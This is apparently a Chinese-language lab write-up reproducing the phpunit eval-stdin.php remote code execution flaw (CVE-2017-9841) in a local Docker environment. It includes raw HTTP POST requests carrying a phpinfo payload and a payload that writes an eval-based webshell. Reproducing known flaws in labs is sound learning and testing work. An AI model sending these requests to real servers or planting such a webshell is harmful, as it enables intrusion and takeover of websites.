漏洞简介
composer是php包管理工具，使用composer安装扩展包将会在当前目录创建一个vendor文件夹，并将所有文件放在其中。通常这个目录需要放在web目录外，使用户不能直接访问。
phpunit是php中的单元测试工具，其4.8.19 ~ 4.8.27和5.0.10 ~ 5.6.2版本的vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php文件有如下代码：
eval('?>'.file_get_contents('php://input'));
如果该文件被用户直接访问到，将造成远程代码执行漏洞。
漏洞复现
执行如下命令启动一个php环境，其中phpunit被安装在web目录下。
docker-compose build docker-compose up -d
web环境将启动在http://127.0.0.1:8080/。
虽然显示禁止访问，但通过抓包构造可造成代码执行
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.phpA HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: hblid=OCkAkPEOWHj8QX5o3m39N0H02BOA0I12; olfsk=olfsk8528760320823083; ECS[visit_times]=1; private_content_version=e48e945c4e066c5afa30b51edd7c4541; pma_lang=en; pma_collation_connection=utf8_unicode_ci Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 18 <?=phpinfo()?>
直接将PHP代码作为POST Body发送给http://your-ip:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php：
POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: hblid=OCkAkPEOWHj8QX5o3m39N0H02BOA0I12; olfsk=olfsk8528760320823083; ECS[visit_times]=1; private_content_version=e48e945c4e066c5afa30b51edd7c4541; pma_lang=en; pma_collation_connection=utf8_unicode_ci Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 62 <?=file_put_contents("2.php", '<?=eval($_REQUEST[1]);?>');
但权限拒绝
进入容器id的命令
(root💀guiltyfet)-[/home/guiltyfet/vulhub/phpunit/CVE-2017-9841] └─# docker exec -it -u root 7539dda8ee0c /bin/bash 1 ⨯ root@7539dda8ee0c:/var/www/html# ls composer.json composer.lock vendor root@7539dda8ee0c:/var/www/html# cd vendor root@7539dda8ee0c:/var/www/html/vendor# cd phpunit/phpunit/src/Util/PHP/ root@7539dda8ee0c:/var/www/html/vendor/phpunit/phpunit/src/Util/PHP# ls Default.php Template Windows.php eval-stdin.php root@7539dda8ee0c:/var/www/html/vendor/phpunit/phpunit/src/Util/PHP# cd eval-stdin.php bash: cd: eval-stdin.php: Not a directory root@7539dda8ee0c:/var/www/html/vendor/phpunit/phpunit/src/Util/PHP# ls Default.php Template Windows.php eval-stdin.php root@7539dda8ee0c:/var/www/html/vendor/phpunit/phpunit/src/Util/PHP#
关闭
docker-compose down
